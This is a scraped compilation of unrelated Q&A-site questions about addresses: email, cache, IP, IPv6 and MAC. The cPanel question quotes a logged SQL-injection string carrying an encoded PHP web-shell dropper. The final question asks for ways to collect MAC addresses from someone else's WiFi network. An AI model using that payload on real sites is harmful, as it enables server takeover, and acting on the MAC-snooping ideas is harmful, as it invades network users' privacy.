Why certain sites don’t send newsletters to “anonymous” mail addresses?

I use an “anonymous” mail address (cock.li provider in my case). I have found that mainstream news sites in particular don’t send their newsletters to such an addresses. It looks like the domains blacklisted.

What is the reason? I can understand that they don’t want you writing comments from anonymous mail addresses, but passive reading of a newsletter is also prohibited?

Why this behavior? Why this behavior only with traditional mainstream news?

These newsletters usually have a lot of advertising and tracking, why they don’t wish to deliver them to “anonymous” addresses?

How does a cache handle overwriting between 2 addresses in the same block?

Consider a byte-addressable cache with block size 16 bytes, bytes 0-15 form one block. First I write an int(let’s say 7) to address 0, so now bytes 0-3 contain the int 7. Now if I try to write another int(9) to address 2, then how does the cache handle this? Also if i try to read from byte 1, what effect does that have?

The lectures I’m watching suggest treating a block as the atomic unit in a cache, because keeping track of all the unwritten and written bytes will be a resource heavy task. So how will the above situation pan out? Will every block contain only 1 instance of data, with every write beginning from byte 0? because that is the only possible solution i can think of.

Publicly Available PCAP dumps that associate IP addresses with Operating System?

I am currently working on a machine learning module to detect Operating Systems based on existing packet traffic in pcap file format. So far, I have generated some traffic of popular Operating Systems available. However, this process is very tedious.

I would like to know if there is any publicly available pcap files that associates data generated from a particular Operating System (e.g. pcap file that have a lot of traffic from Windows XP). I am aware that there are other similar questions asked regarding publicly available pcap files, however none of them seem to be focused on Operating Systems.

Thank you.

cPanel deny IP Addresses of spammers

I have a drupal 7 site, but this question is a more generic one. In the logs I’m seeing regular “attacks” to access protected resources. So attackers are just trying. I’m starting to see more sophisticated attacks such as :


and with a referrer:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a325175634768774a79776e50443977614841675a585a686243676b58314250553152625a5630704f79412f506d4669597963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";} 

When I’m checking the ip addresses of these attacks 98% they are already registered as spam in the stopforumspam database.

Is there a way to have a list or an api at cPanel level not to have to have to deny each ip address manually.

My question is about cPanel not drupal, since I believe it is better to block them at a higher level even before reaching drupal.

In drupal I have a stopforumspam module but this is used to deny registration, which does not prevent attacks such as the one above.

What I need is to be able to block these attacks from known spammer Ips without having to add each ip address manualy in the deny Ip address list in cPanel.

Many thanks

Does anyone know the answer the following questions on converting logical – physical addresses

Due to the unforeseen pandemic, I am unable to speak to my tutor about the following question. I have emailed him, but I have not had an answer for weeks. Can someone please enlighten me.

Image and question to be answered below. Please provide an explanation, as I am struggling to find an answer:

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Why two IP WAN addresses? [closed]

I have a ZTE 4G LTE + modem equipped with a specific phone card and when I connect to the internet and obtain my IP address, I find 2 different ones: One belonging to the Telephone Provider, the other identified as the host. What is the cause of the presence of an additional IP on a natted network?

Why since I configured my smartphone APN protocol to IPv4/IPv6 I (might) only have IPv6 addresses?

About a week ago I configured my smartphone Access Point Name (APN) of the type APN protocol from including the value IPv4 to including the value IPv4/IPv6, all IP addresses I recognized for my smartphone were IPv6 addresses.
I didn’t change the value for the APN type APN roaming protocol → its value is still IPv4 only.

I understand I can now have both IPv4 addresses and IPv6 addresses but the purpose of the following question is to understand the tendency I personally recognize for IPv6 (only?) addresses for my smartphone.

Why since I configured my smartphone APN protocol to IPv4/IPv6 I (might) only have IPv6 addresses? Is it a coincidence or the cause of some global standard cellular operators are now following?

Why is my regional website being hit by thousands of Chinese IP addresses?

For a few days now one of my websites (a local travel guide) has been getting a massive number of hits from Chinese IP addresses. This is to the point that my log files are 10 times bigger and my modsecurity log is over 100 times bigger than usual.

The IP addresses are very fluid. I currently have over 5,000 banned in Fail2Ban, and this is with a China-based IPv4 block in the htaccess.

The user agents for these hits are nearly all either LieBaoFast, MQQBrowser, Mb2345Browser or MicroMessenger.

The pages they are hitting are a dynamic search page e.g. search-accommodation?param=1&param2=2 However, they are calling loads of parameters – which puts extra stress on the server.

So, my question is why? Basically what is going on? I can’t see scraping my (affiliate generated) accommodation listings are of benefit to anyone, and if it is some sort of DDOS that’s even weirder as this site isn’t even important to me?!

How to collect all MAC addresses inside local WiFi network, if you’re admin at

I am not going to specify the model of router, because I’m looking for universal solution, presuming that I am inside Local Network.

1) Obvious way to do that would be by sending Syslog, most TP-Link routers has page where you can hourly email to external email address. And all syslogs in routers are definitely consist those Mac addresses. Problem with this method – that most ISP block port 25 for outbound connections – so you can’t use any external SMTP servers (only internal SMTP servers which are absent in most guest networks)

2) Less attractive way is bringing your laptop and asking wifi password. I call it less attractive because it requires physical presence with a laptop inside Local Network (being connected as a guest to WiFi router)

3) Another way is using Android apps which scan mac addresses which also requires physical presense

4) And of course using Dynamic DNS to connect to router. But most ISP’s are put the routers behind NAT and multiple vLANs so that you couldn’t access that even from within internal ISP network.

5) Also if you exclude your ability to use OpenWRT or other custom firmware – because it is time-consuming and too much physical presence requiring process.

6) But it could be useful to include some $ 10 devices which could collect that info by always being inside the wifi network (is there such devices accessible in Chinese electronics markets?)

Am I missing some obvious ways to spy on mac addresses on someone’s wifi network?

I ask this question, because I want to understand all ways someone might use to leak mac addresses of those devices from internal network with cheapest wifi routers.